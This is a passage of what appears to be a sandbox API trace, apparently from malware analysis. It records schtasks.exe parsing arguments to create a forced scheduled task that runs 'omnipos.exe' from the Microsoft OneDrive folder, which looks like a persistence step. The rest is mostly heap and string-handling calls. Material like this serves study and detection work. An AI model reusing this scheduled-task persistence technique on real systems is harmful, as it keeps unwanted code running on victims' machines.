_Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.392] lstrlenW (lpString="|delete|") returned 8 [0140.392] lstrlenW (lpString="|tr|") returned 4 [0140.392] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0140.392] SetLastError (dwErrCode=0x490) [0140.392] lstrlenW (lpString="query") returned 5 [0140.392] lstrlenW (lpString="query") returned 5 [0140.392] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.392] lstrlenW (lpString="tr") returned 2 [0140.392] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.392] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|query|") returned 7 [0140.392] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.392] lstrlenW (lpString="|query|") returned 7 [0140.392] lstrlenW (lpString="|tr|") returned 4 [0140.392] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0140.392] SetLastError (dwErrCode=0x490) [0140.416] lstrlenW (lpString="change") returned 6 [0140.416] lstrlenW (lpString="change") returned 6 [0140.416] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.416] lstrlenW (lpString="tr") returned 2 [0140.416] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.416] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|change|") returned 8 [0140.416] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.416] lstrlenW (lpString="|change|") returned 8 [0140.416] lstrlenW (lpString="|tr|") returned 4 [0140.416] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0140.416] SetLastError (dwErrCode=0x490) [0140.416] lstrlenW (lpString="run") returned 3 [0140.416] lstrlenW (lpString="run") returned 3 [0140.416] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.416] lstrlenW (lpString="tr") returned 2 [0140.416] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.416] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|run|") returned 5 [0140.416] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.416] lstrlenW (lpString="|run|") returned 5 [0140.416] lstrlenW (lpString="|tr|") returned 4 [0140.416] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0140.417] SetLastError (dwErrCode=0x490) [0140.417] lstrlenW (lpString="end") returned 3 [0140.417] lstrlenW (lpString="end") returned 3 [0140.417] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.417] lstrlenW (lpString="tr") returned 2 [0140.417] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.417] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|end|") returned 5 [0140.417] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.417] lstrlenW (lpString="|end|") returned 5 [0140.417] lstrlenW (lpString="|tr|") returned 4 [0140.417] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0140.417] SetLastError (dwErrCode=0x490) [0140.417] lstrlenW (lpString="showsid") returned 7 [0140.417] lstrlenW (lpString="showsid") returned 7 [0140.417] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.417] lstrlenW (lpString="tr") returned 2 [0140.417] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.417] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|showsid|") returned 9 [0140.417] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.417] lstrlenW (lpString="|showsid|") returned 9 [0140.417] lstrlenW (lpString="|tr|") returned 4 [0140.417] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0140.417] SetLastError (dwErrCode=0x490) [0140.417] SetLastError (dwErrCode=0x490) [0140.417] SetLastError (dwErrCode=0x0) [0140.417] lstrlenW (lpString="/tr") returned 3 [0140.417] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0140.417] SetLastError (dwErrCode=0x490) [0140.418] SetLastError (dwErrCode=0x0) [0140.418] lstrlenW (lpString="/tr") returned 3 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14dd10 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd10 [0140.418] SetLastError (dwErrCode=0x0) [0140.418] SetLastError (dwErrCode=0x0) [0140.418] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.418] lstrlenW (lpString="-/") returned 2 [0140.418] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.418] SetLastError (dwErrCode=0x490) [0140.418] SetLastError (dwErrCode=0x490) [0140.418] SetLastError (dwErrCode=0x0) [0140.418] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.418] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'" [0140.418] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d520 [0140.418] _memicmp (_Buf1=0x14d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d540 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d560 [0140.418] _memicmp (_Buf1=0x14d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.418] GetProcessHeap () returned 0x130000 [0140.418] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x72) returned 0x14dd30 [0140.419] SetLastError (dwErrCode=0x7a) [0140.419] SetLastError (dwErrCode=0x0) [0140.419] SetLastError (dwErrCode=0x0) [0140.419] lstrlenW (lpString="'C") returned 2 [0140.419] lstrlenW (lpString="-/") returned 2 [0140.419] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0140.419] SetLastError (dwErrCode=0x490) [0140.419] SetLastError (dwErrCode=0x490) [0140.419] SetLastError (dwErrCode=0x0) [0140.419] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.419] GetProcessHeap () returned 0x130000 [0140.419] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x70) returned 0x14ddb0 [0140.419] GetProcessHeap () returned 0x130000 [0140.419] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd40 [0140.419] SetLastError (dwErrCode=0x0) [0140.419] SetLastError (dwErrCode=0x0) [0140.419] lstrlenW (lpString="/f") returned 2 [0140.419] lstrlenW (lpString="-/") returned 2 [0140.419] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.419] lstrlenW (lpString="?") returned 1 [0140.419] lstrlenW (lpString="?") returned 1 [0140.419] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.419] lstrlenW (lpString="f") returned 1 [0140.419] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.419] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.419] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.419] lstrlenW (lpString="|?|") returned 3 [0140.419] lstrlenW (lpString="|f|") returned 3 [0140.419] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0140.419] SetLastError (dwErrCode=0x490) [0140.420] lstrlenW (lpString="create") returned 6 [0140.420] lstrlenW (lpString="create") returned 6 [0140.420] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.420] lstrlenW (lpString="f") returned 1 [0140.420] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.420] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.420] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.420] lstrlenW (lpString="|create|") returned 8 [0140.420] lstrlenW (lpString="|f|") returned 3 [0140.420] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0140.420] SetLastError (dwErrCode=0x490) [0140.420] lstrlenW (lpString="delete") returned 6 [0140.420] lstrlenW (lpString="delete") returned 6 [0140.420] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.420] lstrlenW (lpString="f") returned 1 [0140.420] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.420] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|delete|") returned 8 [0140.420] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.420] lstrlenW (lpString="|delete|") returned 8 [0140.420] lstrlenW (lpString="|f|") returned 3 [0140.420] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0140.420] SetLastError (dwErrCode=0x490) [0140.420] lstrlenW (lpString="query") returned 5 [0140.420] lstrlenW (lpString="query") returned 5 [0140.420] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.420] lstrlenW (lpString="f") returned 1 [0140.420] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.421] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|query|") returned 7 [0140.421] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.421] lstrlenW (lpString="|query|") returned 7 [0140.421] lstrlenW (lpString="|f|") returned 3 [0140.421] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0140.421] SetLastError (dwErrCode=0x490) [0140.421] lstrlenW (lpString="change") returned 6 [0140.421] lstrlenW (lpString="change") returned 6 [0140.421] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.421] lstrlenW (lpString="f") returned 1 [0140.421] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.421] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|change|") returned 8 [0140.421] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.421] lstrlenW (lpString="|change|") returned 8 [0140.421] lstrlenW (lpString="|f|") returned 3 [0140.421] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0140.421] SetLastError (dwErrCode=0x490) [0140.421] lstrlenW (lpString="run") returned 3 [0140.421] lstrlenW (lpString="run") returned 3 [0140.421] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.421] lstrlenW (lpString="f") returned 1 [0140.421] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.421] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|run|") returned 5 [0140.421] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.421] lstrlenW (lpString="|run|") returned 5 [0140.421] lstrlenW (lpString="|f|") returned 3 [0140.422] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0140.422] SetLastError (dwErrCode=0x490) [0140.422] lstrlenW (lpString="end") returned 3 [0140.422] lstrlenW (lpString="end") returned 3 [0140.422] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.422] lstrlenW (lpString="f") returned 1 [0140.422] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.422] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|end|") returned 5 [0140.422] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.422] lstrlenW (lpString="|end|") returned 5 [0140.422] lstrlenW (lpString="|f|") returned 3 [0140.422] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0140.422] SetLastError (dwErrCode=0x490) [0140.422] lstrlenW (lpString="showsid") returned 7 [0140.422] lstrlenW (lpString="showsid") returned 7 [0140.422] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.422] lstrlenW (lpString="f") returned 1 [0140.422] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.422] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|showsid|") returned 9 [0140.422] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|f|") returned 3 [0140.422] lstrlenW (lpString="|showsid|") returned 9 [0140.422] lstrlenW (lpString="|f|") returned 3 [0140.422] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0140.422] SetLastError (dwErrCode=0x490) [0140.422] SetLastError (dwErrCode=0x490) [0140.422] SetLastError (dwErrCode=0x0) [0140.422] lstrlenW (lpString="/f") returned 2 [0140.422] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0140.423] SetLastError (dwErrCode=0x490) [0140.423] SetLastError (dwErrCode=0x0) [0140.423] lstrlenW (lpString="/f") returned 2 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14de30 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd70 [0140.423] SetLastError (dwErrCode=0x0) [0140.423] GetProcessHeap () returned 0x130000 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1e0) returned 1 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c1e0) returned 0x8 [0140.423] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1e0 | out: hHeap=0x130000) returned 1 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0) returned 1 [0140.423] GetProcessHeap () returned 0x130000 [0140.423] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cbf0) returned 0x20 [0140.424] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0 | out: hHeap=0x130000) returned 1 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d4e0) returned 1 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d4e0) returned 0x12 [0140.424] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d4e0 | out: hHeap=0x130000) returned 1 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20) returned 1 [0140.424] GetProcessHeap () returned 0x130000 [0140.424] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc20) returned 0x20 [0140.425] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20 | out: hHeap=0x130000) returned 1 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcb0) returned 1 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dcb0) returned 0x8 [0140.425] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcb0 | out: hHeap=0x130000) returned 1 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50) returned 1 [0140.425] GetProcessHeap () returned 0x130000 [0140.425] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc50) returned 0x20 [0140.426] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50 | out: hHeap=0x130000) returned 1 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d500) returned 1 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d500) returned 0xe [0140.426] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d500 | out: hHeap=0x130000) returned 1 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80) returned 1 [0140.426] GetProcessHeap () returned 0x130000 [0140.426] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc80) returned 0x20 [0140.427] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80 | out: hHeap=0x130000) returned 1 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcd0) returned 1 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dcd0) returned 0x8 [0140.427] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcd0 | out: hHeap=0x130000) returned 1 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0) returned 1 [0140.427] GetProcessHeap () returned 0x130000 [0140.427] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ccb0) returned 0x20 [0140.429] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0 | out: hHeap=0x130000) returned 1 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcf0) returned 1 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dcf0) returned 0x6 [0140.429] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcf0 | out: hHeap=0x130000) returned 1 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0) returned 1 [0140.429] GetProcessHeap () returned 0x130000 [0140.429] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cce0) returned 0x20 [0140.429] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0 | out: hHeap=0x130000) returned 1 [0140.429] GetProcessHeap () returned 0x130000 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dd10) returned 1 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dd10) returned 0x8 [0140.430] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dd10 | out: hHeap=0x130000) returned 1 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10) returned 1 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd10) returned 0x20 [0140.430] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10 | out: hHeap=0x130000) returned 1 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddb0) returned 1 [0140.430] GetProcessHeap () returned 0x130000 [0140.430] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ddb0) returned 0x70 [0140.431] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddb0 | out: hHeap=0x130000) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd40) returned 0x20 [0140.431] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40 | out: hHeap=0x130000) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14de30) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14de30) returned 0x6 [0140.431] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14de30 | out: hHeap=0x130000) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70) returned 1 [0140.431] GetProcessHeap () returned 0x130000 [0140.431] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd70) returned 0x20 [0140.432] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70 | out: hHeap=0x130000) returned 1 [0140.432] GetProcessHeap () returned 0x130000 [0140.432] GetProcessHeap () returned 0x130000 [0140.432] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9b0) returned 1 [0140.432] GetProcessHeap () returned 0x130000 [0140.432] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14b9b0) returned 0x18 [0140.432] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9b0 | out: hHeap=0x130000) returned 1 [0140.432] SetLastError (dwErrCode=0x0) [0140.432] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0140.432] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0140.432] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0140.432] VerifyVersionInfoW (in: lpVersionInformation=0x11c3b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c3b0) returned 1 [0140.432] SetLastError (dwErrCode=0x0) [0140.433] lstrlenW (lpString="create") returned 6 [0140.433] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0140.433] SetLastError (dwErrCode=0x490) [0140.433] SetLastError (dwErrCode=0x0) [0140.433] lstrlenW (lpString="create") returned 6 [0140.433] GetProcessHeap () returned 0x130000 [0140.433] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd70 [0140.433] GetProcessHeap () returned 0x130000 [0140.433] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d500 [0140.433] _memicmp (_Buf1=0x14d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.433] GetProcessHeap () returned 0x130000 [0140.433] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d4e0 [0140.433] SetLastError (dwErrCode=0x0) [0140.433] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.433] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0140.433] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0140.434] GetProcessHeap () returned 0x130000 [0140.434] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x74e) returned 0x14ddb0 [0140.434] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x14ddb0 | out: lpData=0x14ddb0) returned 1 [0140.434] VerQueryValueW (in: pBlock=0x14ddb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c498, puLen=0x11c500 | out: lplpBuffer=0x11c498*=0x14e14c, puLen=0x11c500) returned 1 [0140.434] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.434] _vsnwprintf (in: _Buffer=0x14bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c478 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0140.434] VerQueryValueW (in: pBlock=0x14ddb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c508, puLen=0x11c4f8 | out: lplpBuffer=0x11c508*=0x14df78, puLen=0x11c4f8) returned 1 [0140.434] lstrlenW (lpString="schtasks.exe") returned 12 [0140.434] lstrlenW (lpString="schtasks.exe") returned 12 [0140.434] lstrlenW (lpString=".EXE") returned 4 [0140.434] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0140.434] lstrlenW (lpString="schtasks.exe") returned 12 [0140.434] lstrlenW (lpString=".EXE") returned 4 [0140.434] lstrlenW (lpString="schtasks") returned 8 [0140.435] lstrlenW (lpString="/create") returned 7 [0140.435] _memicmp (_Buf1=0x14ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.435] _vsnwprintf (in: _Buffer=0x14bc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c478 | out: _Buffer="schtasks /create") returned 16 [0140.435] _memicmp (_Buf1=0x14ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.435] GetProcessHeap () returned 0x130000 [0140.435] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd40 [0140.435] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.435] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") 